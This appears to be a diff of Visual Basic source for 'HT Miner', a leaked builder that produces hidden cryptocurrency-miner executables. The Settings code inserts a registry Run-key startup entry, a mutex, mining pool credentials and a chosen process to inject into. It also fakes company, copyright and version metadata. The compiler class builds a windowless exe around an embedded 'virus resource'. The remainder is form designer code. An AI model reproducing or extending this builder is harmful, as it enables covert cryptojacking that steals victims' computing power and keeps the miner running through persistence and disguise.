|
||||
Public Shared Mutex As [Boolean] = False
|
||||
Public Shared Startup As [Boolean] = False
|
||||
Public Shared CustomIcon As [Boolean] = False
|
||||
Public Shared ThreadPercent As [Boolean] = False
|
||||
Public Shared DebugMode As [Boolean] = False
|
||||
|
||||
Private Shared Description As [String] = ""
|
||||
Private Shared Trademark As [String] = ""
|
||||
Private Shared Company As [String] = ""
|
||||
Private Shared Product As [String] = ""
|
||||
Private Shared Copyright As [String] = ""
|
||||
Private Shared Title As [String] = ""
|
||||
Private Shared ProductVer As [String] = ""
|
||||
Private Shared FileVer As [String] = ""
|
||||
|
||||
|
||||
Private Shared InjectionProcess As [String] = ""
|
||||
|
||||
|
||||
#Region "Argument Variabled"
|
||||
Public Shared Threads As [String] = ""
|
||||
#End Region
|
||||
|
||||
|
||||
Public Shared Function getSavePath() As String
|
||||
|
||||
Using sfd As New SaveFileDialog With {.Title = "Choose Save Path...", .InitialDirectory = Application.StartupPath, .Filter = "EXE Files (*.exe)|*.exe"}
|
||||
If sfd.ShowDialog() = DialogResult.OK Then
|
||||
Return sfd.FileName
|
||||
Else : Return Nothing
|
||||
End If
|
||||
End Using
|
||||
End Function
|
||||
|
||||
|
||||
Public Shared Function prepareSource(ByVal source As String) As String
|
||||
|
||||
If Settings.ThreadPercent Then
|
||||
Settings.Threads = "Percent"
|
||||
Else
|
||||
Settings.Threads = frmMain.nThreads.Value.ToString()
|
||||
End If
|
||||
|
||||
source = replaceMutex(source, Settings.Mutex)
|
||||
source = replaceStartup(source, Settings.Startup)
|
||||
source = replaceParameters(source)
|
||||
source = replaceThreads(source, Settings.ThreadPercent)
|
||||
source = replaceDebug(source)
|
||||
source = replaceAssembly(source)
|
||||
source = replaceInjection(source)
|
||||
Return source
|
||||
End Function
|
||||
|
||||
Private Shared Function replaceMutex(ByVal source As String, ByVal Enabled As Boolean) As String
|
||||
|
||||
If Enabled Then
|
||||
source = source.Replace("%MUTEXOBJ%", "Dim objMutex As System.Threading.Mutex")
|
||||
source = source.Replace("%MUTEXSUB%", "Sub checkMutex()" & vbNewLine & "objMutex = New System.Threading.Mutex(False,""%MUTEX%"")" & vbNewLine & "If objMutex.WaitOne(0, False) = False Then" & vbNewLine & "objMutex.Close()" & vbNewLine & "End" & vbNewLine & "End If" & vbNewLine & "End Sub")
|
||||
source = source.Replace("%MUTEX%", frmMain.tbMutex.Text)
|
||||
source = source.Replace("%CHECKMUTEX%", "checkMutex()")
|
||||
Return source
|
||||
Else
|
||||
source = source.Replace("%MUTEXOBJ%", "")
|
||||
source = source.Replace("%MUTEXSUB%", "")
|
||||
source = source.Replace("%CHECKMUTEX%", "")
|
||||
Return source
|
||||
End If
|
||||
End Function
|
||||
|
||||
Private Shared Function replaceStartup(ByVal source As String, ByVal Enabled As Boolean) As String
|
||||
|
||||
If Enabled Then
|
||||
source = source.Replace("%DOSTARTUP%", "doStartup()")
|
||||
source = source.Replace("%STARTUPSUB%", "Sub doStartup()" & vbNewLine & "Microsoft.Win32.Registry.CurrentUser.OpenSubKey(""SOFTWARE\Microsoft\Windows\CurrentVersion\Run"", True).SetValue(""%STARTUPKEY%"", System.Reflection.Assembly.GetExecutingAssembly().Location)" & vbNewLine & "End Sub")
|
||||
source = source.Replace("%STARTUPKEY%", frmMain.tbStartup.Text)
|
||||
Return source
|
||||
Else
|
||||
source = source.Replace("%DOSTARTUP%", "")
|
||||
source = source.Replace("%STARTUPSUB%", "")
|
||||
source = source.Replace("%STARTUPKEY%", "")
|
||||
Return source
|
||||
End If
|
||||
|
||||
End Function
|
||||
|
||||
Private Shared Function replaceParameters(ByVal source As String) As String
|
||||
source = source.Replace("%ARGS%", "-o %URL% -u %WORKER% -p %PASS% -t"" & %THREADS% & "" -m512")
|
||||
source = source.Replace("%URL%", frmMain.tbURL.Text)
|
||||
source = source.Replace("%WORKER%", frmMain.tbWorker.Text)
|
||||
source = source.Replace("%PASS%", frmMain.tbPass.Text)
|
||||
Return source
|
||||
End Function
|
||||
|
||||
Private Shared Function replaceThreads(ByVal source As String, ByVal Percentage As Boolean) As String
|
||||
If Percentage Then
|
||||
source = source.Replace("%THREADS%", "getCores()")
|
||||
source = source.Replace("%CORESUB%", "Function getCores() As String" & vbNewLine &
|
||||
"Dim i As Integer" & vbNewLine &
|
||||
"i = CInt(Environment.ProcessorCount / 2)" & vbNewLine &
|
||||
"Return "" "" & CStr(i)" & vbNewLine &
|
||||
"End Function")
|
||||
Return source
|
||||
Else
|
||||
source = source.Replace("%THREADS%", """" & " " & frmMain.nThreads.Value.ToString() & """")
|
||||
source = source.Replace("%CORESUB%", "")
|
||||
Return source
|
||||
End If
|
||||
End Function
|
||||
|
||||
Private Shared Function replaceDebug(ByVal source As String) As String
|
||||
If Settings.DebugMode Then
|
||||
source = source.Replace("%DEBUG%", "True")
|
||||
Return source
|
||||
Else
|
||||
source = source.Replace("%DEBUG%", "False")
|
||||
Return source
|
||||
End If
|
||||
End Function
|
||||
|
||||
Private Shared Function replaceAssembly(ByVal source As String) As String
|
||||
|
||||
If frmMain.tbDesc.Text = "Description" Then : Settings.Description = "" : Else : Settings.Description = frmMain.tbDesc.Text : End If
|
||||
If frmMain.tbTrademark.Text = "Trademark" Then : Settings.Trademark = "" : Else : Settings.Trademark = frmMain.tbTrademark.Text : End If
|
||||
If frmMain.tbCompany.Text = "Company" Then : Settings.Company = "" : Else : Settings.Company = frmMain.tbCompany.Text : End If
|
||||
If frmMain.tbProduct.Text = "Product" Then : Settings.Product = "" : Else : Settings.Product = frmMain.tbProduct.Text : End If
|
||||
If frmMain.tbCopyright.Text = "Copyright" Then : Settings.Copyright = "" : Else : Settings.Copyright = frmMain.tbCopyright.Text : End If
|
||||
If frmMain.tbTitle.Text = "Title" Then : Settings.Title = "" : Else : Settings.Title = frmMain.tbTitle.Text : End If
|
||||
|
||||
Settings.ProductVer = createProductVer()
|
||||
Settings.FileVer = createFileVer()
|
||||
|
||||
source = source.Replace("{DESC}", Settings.Description)
|
||||
source = source.Replace("{TRADEMARK}", Settings.Trademark)
|
||||
source = source.Replace("{COMPANY}", Settings.Company)
|
||||
source = source.Replace("{PRODUCT}", Settings.Product)
|
||||
source = source.Replace("{COPYRIGHT}", Settings.Copyright)
|
||||
source = source.Replace("{TITLE}", Settings.Title)
|
||||
source = source.Replace("{PVERSION}", Settings.ProductVer)
|
||||
source = source.Replace("{FVERSION}", Settings.FileVer)
|
||||
Return source
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
Private Shared Function replaceInjection(ByVal source As String) As String
|
||||
Settings.InjectionProcess = CStr(frmMain.comboInject.SelectedItem)
|
||||
source = source.Replace("%INJECT%", Settings.InjectionProcess & ".exe")
|
||||
Return source
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Private Shared Function createProductVer() As String
|
||||
Dim s As String
|
||||
s = frmMain.pv1.Value.ToString() & "." & frmMain.pv2.Value.ToString() & "." & frmMain.pv3.Value.ToString() & "." & frmMain.pv4.Value.ToString()
|
||||
Return s
|
||||
End Function
|
||||
Private Shared Function createFileVer() As String
|
||||
Dim s As String
|
||||
s = frmMain.fv1.Value.ToString() & "." & frmMain.fv2.Value.ToString() & "." & frmMain.fv3.Value.ToString() & "." & frmMain.fv4.Value.ToString()
|
||||
Return s
|
||||
End Function
|
||||
End Structure
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
Imports System.CodeDom.Compiler
|
||||
Imports System.Text
|
||||
|
||||
Public Class rCompiler
|
||||
|
||||
|
||||
' Public Shared Sub Compile(ByVal Source As String, ByVal Output As String, Optional ByVal Icon As String = "") 'ByVal Res As String, Optional ByVal Icon As String)
|
||||
Public Shared Sub Compile(ByVal Source As String, ByVal Output As String, ByVal Res As String, Optional ByVal Icon As String = "")
|
||||
|
||||
Dim success As Boolean = True
|
||||
|
||||
Dim ProviderOptions As New Dictionary(Of String, String)()
|
||||
ProviderOptions.Add("CompilerVersion", "v2.0")
|
||||
|
||||
Dim CP As New Microsoft.VisualBasic.VBCodeProvider(ProviderOptions)
|
||||
Dim P As New CodeDom.Compiler.CompilerParameters
|
||||
|
||||
Dim s As New StringBuilder()
|
||||
s.Append(" /target:winexe")
|
||||
s.Append(" /platform:x86")
|
||||
s.Append(" /optimize+")
|
||||
s.Append(" /utf8output")
|
||||
|
||||
P.ReferencedAssemblies.Add("System.dll")
|
||||
P.ReferencedAssemblies.Add("System.Data.dll")
|
||||
P.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
||||
|
||||
P.GenerateExecutable = True
|
||||
P.OutputAssembly = Output
|
||||
|
||||
'----- ADD VIRUS RESOURCE -----
|
||||
P.EmbeddedResources.Add(Res)
|
||||
'----- ADD VIRUS RESOURCE -----
|
||||
|
||||
If Icon <> "" Then
|
||||
s.Append(" /win32icon:" & Icon)
|
||||
End If
|
||||
|
||||
P.CompilerOptions += s.ToString()
|
||||
P.IncludeDebugInformation = False
|
||||
P.ReferencedAssemblies.Add("System.Dll")
|
||||
P.ReferencedAssemblies.Add("System.Windows.Forms.Dll")
|
||||
Dim Results1 = CP.CompileAssemblyFromSource(P, Source)
|
||||
For Each uii As CodeDom.Compiler.CompilerError In Results1.Errors
|
||||
MsgBox(uii.ToString)
|
||||
success = False
|
||||
Next
|
||||
If success Then : MsgBox("Success!", MsgBoxStyle.OkOnly + MsgBoxStyle.Information) : End If
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
'Public Shared Sub GenerateExecutable(ByVal Output As String, ByVal Source As String, ByVal Resource As String, ByVal Icon As String)
|
||||
' On Error Resume Next
|
||||
|
||||
' Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
|
||||
' Dim Parameters As New CompilerParameters()
|
||||
' Dim cResults As CompilerResults
|
||||
' Parameters.CompilerOptions &= "/target:winexe"
|
||||
' Parameters.GenerateExecutable = True
|
||||
' Parameters.OutputAssembly = Output
|
||||
' Parameters.ReferencedAssemblies.Add("System.dll")
|
||||
' Parameters.ReferencedAssemblies.Add("System.Data.dll")
|
||||
' Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
||||
' Parameters.CompilerOptions &= " /platform:x86"
|
||||
' Parameters.EmbeddedResources.Add(Resource)
|
||||
|
||||
|
||||
|
||||
' Dim Version = New Dictionary(Of String, String)
|
||||
' Version.Add("CompilerVersion", "v2.0")
|
||||
|
||||
' If Icon <> "" Then
|
||||
' Parameters.CompilerOptions &= " /win32icon:" & Icon
|
||||
' End If
|
||||
|
||||
' cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
|
||||
|
||||
' If cResults.Errors.Count > 0 Then
|
||||
' For Each CompilerError In cResults.Errors
|
||||
' MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
' Next
|
||||
' ElseIf cResults.Errors.Count = 0 Then
|
||||
|
||||
' End If
|
||||
'End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0,Profile=Client" />
|
||||
</startup>
|
||||
</configuration>
|
||||
+994
@@ -0,0 +1,994 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class frmMain
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmMain))
|
||||
Me.FormSkin1 = New hMinerPTS.FormSkin()
|
||||
Me.FlatClose2 = New hMinerPTS.FlatClose()
|
||||
Me.statusBar = New hMinerPTS.FlatStatusBar()
|
||||
Me.FlatTabControl1 = New hMinerPTS.FlatTabControl()
|
||||
Me.pageMain = New System.Windows.Forms.TabPage()
|
||||
Me.Label16 = New System.Windows.Forms.Label()
|
||||
Me.checkDebug = New hMinerPTS.FlatCheckBox()
|
||||
Me.Label15 = New System.Windows.Forms.Label()
|
||||
Me.checkPercent = New hMinerPTS.FlatCheckBox()
|
||||
Me.Label14 = New System.Windows.Forms.Label()
|
||||
Me.nThreads = New hMinerPTS.FlatNumeric()
|
||||
Me.Label13 = New System.Windows.Forms.Label()
|
||||
Me.btReset = New hMinerPTS.FlatButton()
|
||||
Me.btHelp = New hMinerPTS.FlatButton()
|
||||
Me.tbMutex = New hMinerPTS.FlatTextBox()
|
||||
Me.checkMutex = New hMinerPTS.FlatCheckBox()
|
||||
Me.tbStartup = New hMinerPTS.FlatTextBox()
|
||||
Me.checkStartup = New hMinerPTS.FlatCheckBox()
|
||||
Me.Label6 = New System.Windows.Forms.Label()
|
||||
Me.comboInject = New hMinerPTS.FlatComboBox()
|
||||
Me.Label5 = New System.Windows.Forms.Label()
|
||||
Me.tbPass = New hMinerPTS.FlatTextBox()
|
||||
Me.Label4 = New System.Windows.Forms.Label()
|
||||
Me.tbWorker = New hMinerPTS.FlatTextBox()
|
||||
Me.Label3 = New System.Windows.Forms.Label()
|
||||
Me.tbURL = New hMinerPTS.FlatTextBox()
|
||||
Me.Label2 = New System.Windows.Forms.Label()
|
||||
Me.Label7 = New System.Windows.Forms.Label()
|
||||
Me.pageAssembly = New System.Windows.Forms.TabPage()
|
||||
Me.btIconBrowse = New hMinerPTS.FlatButton()
|
||||
Me.checkIcon = New hMinerPTS.FlatCheckBox()
|
||||
Me.Label11 = New System.Windows.Forms.Label()
|
||||
Me.fv4 = New hMinerPTS.FlatNumeric()
|
||||
Me.fv3 = New hMinerPTS.FlatNumeric()
|
||||
Me.fv2 = New hMinerPTS.FlatNumeric()
|
||||
Me.fv1 = New hMinerPTS.FlatNumeric()
|
||||
Me.Label10 = New System.Windows.Forms.Label()
|
||||
Me.pv4 = New hMinerPTS.FlatNumeric()
|
||||
Me.pv3 = New hMinerPTS.FlatNumeric()
|
||||
Me.pv2 = New hMinerPTS.FlatNumeric()
|
||||
Me.pv1 = New hMinerPTS.FlatNumeric()
|
||||
Me.Label9 = New System.Windows.Forms.Label()
|
||||
Me.tbTitle = New hMinerPTS.FlatTextBox()
|
||||
Me.tbCopyright = New hMinerPTS.FlatTextBox()
|
||||
Me.tbProduct = New hMinerPTS.FlatTextBox()
|
||||
Me.tbCompany = New hMinerPTS.FlatTextBox()
|
||||
Me.tbTrademark = New hMinerPTS.FlatTextBox()
|
||||
Me.tbDesc = New hMinerPTS.FlatTextBox()
|
||||
Me.Label8 = New System.Windows.Forms.Label()
|
||||
Me.previewIcon = New System.Windows.Forms.PictureBox()
|
||||
Me.pageBuild = New System.Windows.Forms.TabPage()
|
||||
Me.btBuild = New System.Windows.Forms.PictureBox()
|
||||
Me.Label12 = New System.Windows.Forms.Label()
|
||||
Me.pageAbout = New System.Windows.Forms.TabPage()
|
||||
Me.Label18 = New System.Windows.Forms.Label()
|
||||
Me.Label17 = New System.Windows.Forms.Label()
|
||||
Me.btMinimize = New hMinerPTS.FlatButton()
|
||||
Me.FlatClose1 = New hMinerPTS.FlatClose()
|
||||
Me.Label1 = New System.Windows.Forms.Label()
|
||||
Me.FormSkin1.SuspendLayout()
|
||||
Me.FlatTabControl1.SuspendLayout()
|
||||
Me.pageMain.SuspendLayout()
|
||||
Me.pageAssembly.SuspendLayout()
|
||||
CType(Me.previewIcon, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.pageBuild.SuspendLayout()
|
||||
CType(Me.btBuild, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Me.pageAbout.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'FormSkin1
|
||||
'
|
||||
Me.FormSkin1.BackColor = System.Drawing.Color.White
|
||||
Me.FormSkin1.BaseColor = System.Drawing.Color.White
|
||||
Me.FormSkin1.BorderColor = System.Drawing.Color.Gray
|
||||
Me.FormSkin1.Controls.Add(Me.FlatClose2)
|
||||
Me.FormSkin1.Controls.Add(Me.statusBar)
|
||||
Me.FormSkin1.Controls.Add(Me.FlatTabControl1)
|
||||
Me.FormSkin1.Controls.Add(Me.btMinimize)
|
||||
Me.FormSkin1.Controls.Add(Me.FlatClose1)
|
||||
Me.FormSkin1.Controls.Add(Me.Label1)
|
||||
Me.FormSkin1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Me.FormSkin1.FlatColor = System.Drawing.Color.RoyalBlue
|
||||
Me.FormSkin1.Font = New System.Drawing.Font("Segoe UI", 12.0!)
|
||||
Me.FormSkin1.ForeColor = System.Drawing.Color.Black
|
||||
Me.FormSkin1.HeaderColor = System.Drawing.Color.White
|
||||
Me.FormSkin1.HeaderMaximize = False
|
||||
Me.FormSkin1.Location = New System.Drawing.Point(0, 0)
|
||||
Me.FormSkin1.Name = "FormSkin1"
|
||||
Me.FormSkin1.Size = New System.Drawing.Size(520, 425)
|
||||
Me.FormSkin1.TabIndex = 0
|
||||
Me.FormSkin1.Text = "HT Miner - Leaked by Mizore"
|
||||
'
|
||||
'FlatClose2
|
||||
'
|
||||
Me.FlatClose2.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
|
||||
Me.FlatClose2.BackColor = System.Drawing.Color.White
|
||||
Me.FlatClose2.BaseColor = System.Drawing.Color.FromArgb(CType(CType(168, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer))
|
||||
Me.FlatClose2.Font = New System.Drawing.Font("Marlett", 10.0!)
|
||||
Me.FlatClose2.Location = New System.Drawing.Point(488, 12)
|
||||
Me.FlatClose2.Name = "FlatClose2"
|
||||
Me.FlatClose2.Size = New System.Drawing.Size(18, 18)
|
||||
Me.FlatClose2.TabIndex = 5
|
||||
Me.FlatClose2.Text = "FlatClose2"
|
||||
Me.FlatClose2.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer))
|
||||
'
|
||||
'statusBar
|
||||
'
|
||||
Me.statusBar.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.statusBar.Dock = System.Windows.Forms.DockStyle.Bottom
|
||||
Me.statusBar.Font = New System.Drawing.Font("Segoe UI", 8.0!)
|
||||
Me.statusBar.ForeColor = System.Drawing.Color.White
|
||||
Me.statusBar.Location = New System.Drawing.Point(0, 402)
|
||||
Me.statusBar.Name = "statusBar"
|
||||
Me.statusBar.RectColor = System.Drawing.Color.RoyalBlue
|
||||
Me.statusBar.ShowTimeDate = True
|
||||
Me.statusBar.Size = New System.Drawing.Size(520, 23)
|
||||
Me.statusBar.TabIndex = 4
|
||||
Me.statusBar.Text = "Version: 1.1.3 (LATEST) | News: None."
|
||||
Me.statusBar.TextColor = System.Drawing.Color.White
|
||||
'
|
||||
'FlatTabControl1
|
||||
'
|
||||
Me.FlatTabControl1.ActiveColor = System.Drawing.Color.RoyalBlue
|
||||
Me.FlatTabControl1.BaseColor = System.Drawing.Color.White
|
||||
Me.FlatTabControl1.Controls.Add(Me.pageMain)
|
||||
Me.FlatTabControl1.Controls.Add(Me.pageAssembly)
|
||||
Me.FlatTabControl1.Controls.Add(Me.pageBuild)
|
||||
Me.FlatTabControl1.Controls.Add(Me.pageAbout)
|
||||
Me.FlatTabControl1.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.FlatTabControl1.ItemSize = New System.Drawing.Size(120, 40)
|
||||
Me.FlatTabControl1.Location = New System.Drawing.Point(8, 53)
|
||||
Me.FlatTabControl1.Name = "FlatTabControl1"
|
||||
Me.FlatTabControl1.SelectedIndex = 0
|
||||
Me.FlatTabControl1.Size = New System.Drawing.Size(502, 343)
|
||||
Me.FlatTabControl1.SizeMode = System.Windows.Forms.TabSizeMode.Fixed
|
||||
Me.FlatTabControl1.TabIndex = 3
|
||||
'
|
||||
'pageMain
|
||||
'
|
||||
Me.pageMain.BackColor = System.Drawing.Color.White
|
||||
Me.pageMain.Controls.Add(Me.Label16)
|
||||
Me.pageMain.Controls.Add(Me.checkDebug)
|
||||
Me.pageMain.Controls.Add(Me.Label15)
|
||||
Me.pageMain.Controls.Add(Me.checkPercent)
|
||||
Me.pageMain.Controls.Add(Me.Label14)
|
||||
Me.pageMain.Controls.Add(Me.nThreads)
|
||||
Me.pageMain.Controls.Add(Me.Label13)
|
||||
Me.pageMain.Controls.Add(Me.btReset)
|
||||
Me.pageMain.Controls.Add(Me.btHelp)
|
||||
Me.pageMain.Controls.Add(Me.tbMutex)
|
||||
Me.pageMain.Controls.Add(Me.checkMutex)
|
||||
Me.pageMain.Controls.Add(Me.tbStartup)
|
||||
Me.pageMain.Controls.Add(Me.checkStartup)
|
||||
Me.pageMain.Controls.Add(Me.Label6)
|
||||
Me.pageMain.Controls.Add(Me.comboInject)
|
||||
Me.pageMain.Controls.Add(Me.Label5)
|
||||
Me.pageMain.Controls.Add(Me.tbPass)
|
||||
Me.pageMain.Controls.Add(Me.Label4)
|
||||
Me.pageMain.Controls.Add(Me.tbWorker)
|
||||
Me.pageMain.Controls.Add(Me.Label3)
|
||||
Me.pageMain.Controls.Add(Me.tbURL)
|
||||
Me.pageMain.Controls.Add(Me.Label2)
|
||||
Me.pageMain.Controls.Add(Me.Label7)
|
||||
Me.pageMain.Location = New System.Drawing.Point(4, 44)
|
||||
Me.pageMain.Name = "pageMain"
|
||||
Me.pageMain.Padding = New System.Windows.Forms.Padding(3)
|
||||
Me.pageMain.Size = New System.Drawing.Size(494, 295)
|
||||
Me.pageMain.TabIndex = 0
|
||||
Me.pageMain.Text = "Main"
|
||||
'
|
||||
'Label16
|
||||
'
|
||||
Me.Label16.AutoSize = True
|
||||
Me.Label16.Location = New System.Drawing.Point(264, 231)
|
||||
Me.Label16.Name = "Label16"
|
||||
Me.Label16.Size = New System.Drawing.Size(89, 19)
|
||||
Me.Label16.TabIndex = 23
|
||||
Me.Label16.Text = "Debug mode"
|
||||
'
|
||||
'checkDebug
|
||||
'
|
||||
Me.checkDebug.BackColor = System.Drawing.Color.White
|
||||
Me.checkDebug.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.checkDebug.BorderColor = System.Drawing.Color.RoyalBlue
|
||||
Me.checkDebug.Checked = False
|
||||
Me.checkDebug.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.checkDebug.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.checkDebug.Location = New System.Drawing.Point(247, 230)
|
||||
Me.checkDebug.Name = "checkDebug"
|
||||
Me.checkDebug.Options = hMinerPTS.FlatCheckBox._Options.Style1
|
||||
Me.checkDebug.Size = New System.Drawing.Size(21, 22)
|
||||
Me.checkDebug.TabIndex = 22
|
||||
Me.checkDebug.Text = "Debug Mode"
|
||||
'
|
||||
'Label15
|
||||
'
|
||||
Me.Label15.AutoSize = True
|
||||
Me.Label15.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label15.Location = New System.Drawing.Point(30, 263)
|
||||
Me.Label15.Name = "Label15"
|
||||
Me.Label15.Size = New System.Drawing.Size(36, 19)
|
||||
Me.Label15.TabIndex = 21
|
||||
Me.Label15.Text = "50%"
|
||||
'
|
||||
'checkPercent
|
||||
'
|
||||
Me.checkPercent.BackColor = System.Drawing.Color.White
|
||||
Me.checkPercent.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.checkPercent.BorderColor = System.Drawing.Color.RoyalBlue
|
||||
Me.checkPercent.Checked = False
|
||||
Me.checkPercent.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.checkPercent.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.checkPercent.Location = New System.Drawing.Point(10, 262)
|
||||
Me.checkPercent.Name = "checkPercent"
|
||||
Me.checkPercent.Options = hMinerPTS.FlatCheckBox._Options.Style1
|
||||
Me.checkPercent.Size = New System.Drawing.Size(21, 22)
|
||||
Me.checkPercent.TabIndex = 20
|
||||
Me.checkPercent.Text = "FlatCheckBox1"
|
||||
'
|
||||
'Label14
|
||||
'
|
||||
Me.Label14.AutoSize = True
|
||||
Me.Label14.Location = New System.Drawing.Point(88, 233)
|
||||
Me.Label14.Name = "Label14"
|
||||
Me.Label14.Size = New System.Drawing.Size(77, 19)
|
||||
Me.Label14.TabIndex = 19
|
||||
Me.Label14.Text = "Threads or:"
|
||||
'
|
||||
'nThreads
|
||||
'
|
||||
Me.nThreads.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer))
|
||||
Me.nThreads.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.nThreads.ButtonColor = System.Drawing.Color.RoyalBlue
|
||||
Me.nThreads.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.nThreads.ForeColor = System.Drawing.Color.White
|
||||
Me.nThreads.Location = New System.Drawing.Point(10, 227)
|
||||
Me.nThreads.Maximum = CType(16, Long)
|
||||
Me.nThreads.Minimum = CType(0, Long)
|
||||
Me.nThreads.Name = "nThreads"
|
||||
Me.nThreads.Size = New System.Drawing.Size(75, 30)
|
||||
Me.nThreads.TabIndex = 18
|
||||
Me.nThreads.Text = "nThreads"
|
||||
Me.nThreads.Value = CType(0, Long)
|
||||
'
|
||||
'Label13
|
||||
'
|
||||
Me.Label13.AutoSize = True
|
||||
Me.Label13.Location = New System.Drawing.Point(6, 205)
|
||||
Me.Label13.Name = "Label13"
|
||||
Me.Label13.Size = New System.Drawing.Size(60, 19)
|
||||
Me.Label13.TabIndex = 17
|
||||
Me.Label13.Text = "Threads:"
|
||||
'
|
||||
'btReset
|
||||
'
|
||||
Me.btReset.BackColor = System.Drawing.Color.Transparent
|
||||
Me.btReset.BaseColor = System.Drawing.Color.RoyalBlue
|
||||
Me.btReset.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.btReset.Font = New System.Drawing.Font("Segoe UI", 12.0!)
|
||||
Me.btReset.Location = New System.Drawing.Point(401, 162)
|
||||
Me.btReset.Name = "btReset"
|
||||
Me.btReset.Rounded = False
|
||||
Me.btReset.Size = New System.Drawing.Size(79, 40)
|
||||
Me.btReset.TabIndex = 15
|
||||
Me.btReset.Text = "Reset"
|
||||
Me.btReset.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer))
|
||||
'
|
||||
'btHelp
|
||||
'
|
||||
Me.btHelp.BackColor = System.Drawing.Color.Transparent
|
||||
Me.btHelp.BaseColor = System.Drawing.Color.RoyalBlue
|
||||
Me.btHelp.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.btHelp.Font = New System.Drawing.Font("Segoe UI", 12.0!)
|
||||
Me.btHelp.Location = New System.Drawing.Point(401, 97)
|
||||
Me.btHelp.Name = "btHelp"
|
||||
Me.btHelp.Rounded = False
|
||||
Me.btHelp.Size = New System.Drawing.Size(79, 40)
|
||||
Me.btHelp.TabIndex = 14
|
||||
Me.btHelp.Text = "Help"
|
||||
Me.btHelp.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer))
|
||||
'
|
||||
'tbMutex
|
||||
'
|
||||
Me.tbMutex.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbMutex.Enabled = False
|
||||
Me.tbMutex.Location = New System.Drawing.Point(247, 162)
|
||||
Me.tbMutex.MaxLength = 32767
|
||||
Me.tbMutex.Multiline = False
|
||||
Me.tbMutex.Name = "tbMutex"
|
||||
Me.tbMutex.ReadOnly = False
|
||||
Me.tbMutex.Size = New System.Drawing.Size(121, 29)
|
||||
Me.tbMutex.TabIndex = 13
|
||||
Me.tbMutex.Text = "Random Chars"
|
||||
Me.tbMutex.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbMutex.TextColor = System.Drawing.Color.Silver
|
||||
Me.tbMutex.UseSystemPasswordChar = False
|
||||
'
|
||||
'checkMutex
|
||||
'
|
||||
Me.checkMutex.BackColor = System.Drawing.Color.White
|
||||
Me.checkMutex.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.checkMutex.BorderColor = System.Drawing.Color.RoyalBlue
|
||||
Me.checkMutex.Checked = False
|
||||
Me.checkMutex.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.checkMutex.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
